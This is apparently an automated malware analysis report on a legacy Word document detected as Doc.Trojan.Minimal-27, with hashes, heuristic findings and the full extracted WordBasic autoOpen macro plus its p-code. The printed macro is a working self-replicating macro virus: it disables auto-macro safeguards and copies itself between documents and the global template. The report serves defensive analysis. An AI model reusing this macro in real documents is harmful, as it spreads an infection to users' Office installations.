Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95d343dd4aa3adfe…

MALICIOUS

Office (OLE)

27.0 KB Created: 2001-04-12 17:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7130a90be47314d30306f861ff0c262b SHA-1: b20ed36b7c74d2b0333b7c940d7a6cad527997a8 SHA-256: 95d343dd4aa3adfe47b1f0964935bf693995fddc2f7e82a06138c6312d2975ed
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic autoOpen macro. This macro is designed to copy itself to global macro storage. The presence of the autoOpen marker and the macro's functionality suggest an attempt to establish persistence or facilitate further malicious actions. The ClamAV detection further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-27 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-27
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3359 bytes
SHA-256: d5d8c4618d69cafb0cb999f08f05349fc787ef11cc3a0bebbfb0439d33014757
Detection
ClamAV: Doc.Trojan.Minimal-27
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"
Public Sub MAIN()
a$ = "autoOpen"
b$ = ":" + a$
gl$ = "Global"
c$ = gl$ + ":" + a$
d$ = "." + "DOT"
Dim fm1$
Dim gm1$
Dim Ff1$
Dim Encrypt
On Error GoTo -1: On Error GoTo Go1
WordBasic.FileSummaryInfo Update:=1
WordBasic.DisableInput (1)
WordBasic.DisableAutoMacros (0)
Dim d1 As Object: Set d1 = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo d1
fm1$ = d1.Directory + "\" + d1.FileName + b$
gm1$ = c$
Ff1$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 4))
If Ff1$ = d$ Then
Encrypt = WordBasic.IsExecuteOnly(fm1$)
WordBasic.MacroCopy gm1$, fm1$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy fm1$, gm1$
End If
Go1:
End Sub

' Processing file: /opt/analyzer/scan_staging/075e8aa966ff43708936f205f24ebf4c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoOpen - 2164 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	LitStr 0x0008 "autoOpen"
' 	St a$ 
' Line #2:
' 	LitStr 0x0001 ":"
' 	Ld a$ 
' 	Add 
' 	St B$ 
' Line #3:
' 	LitStr 0x0006 "Global"
' 	St gl$ 
' Line #4:
' 	Ld gl$ 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld a$ 
' 	Add 
' 	St c$ 
' Line #5:
' 	LitStr 0x0001 "."
' 	LitStr 0x0003 "DOT"
' 	Add 
' 	St d$ 
' Line #6:
' 	Dim 
' 	VarDefn fm1
' Line #7:
' 	Dim 
' 	VarDefn gm1
' Line #8:
' 	Dim 
' 	VarDefn Ff1
' Line #9:
' 	Dim 
' 	VarDefn Encrypt
' Line #10:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Go1 
' Line #11:
' 	LitDI2 0x0001 
' 	ParamNamed Update 
' 	Ld WordBasic 
' 	ArgsMemCall FileSummaryInfo 0x0001 
' Line #12:
' 	LitDI2 0x0001 
' 	Paren 
' 	Ld WordBasic 
' 	ArgsMemCall DisableInput 0x0001 
' Line #13:
' 	LitDI2 0x0000 
' 	Paren 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #14:
' 	Dim 
' 	VarDefn d1 (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSummaryInfo 0x0001 
' 	Set d1 
' Line #15:
' 	Ld d1 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSummaryInfo 0x0001 
' Line #16:
' 	Ld d1 
' 	MemLd Directory 
' 	LitStr 0x0001 "\"
' 	Add 
' 	Ld d1 
' 	MemLd FileName 
' 	Add 
' 	Ld B$ 
' 	Add 
' 	St fm1$ 
' Line #17:
' 	Ld c$ 
' 	St gm1$ 
' Line #18:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x0004 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St Ff1$ 
' Line #19:
' 	Ld Ff1$ 
' 	Ld d$ 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld fm1$ 
' 	Ld WordBasic 
' 	ArgsMemLd IsExecuteOnly 0x0001 
' 	St Encrypt 
' Line #21:
' 	Ld gm1$ 
' 	Ld fm1$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #23:
' 	ElseBlock 
' Line #24:
' 	Ld fm1$ 
' 	Ld gm1$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	Label Go1 
' Line #27:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.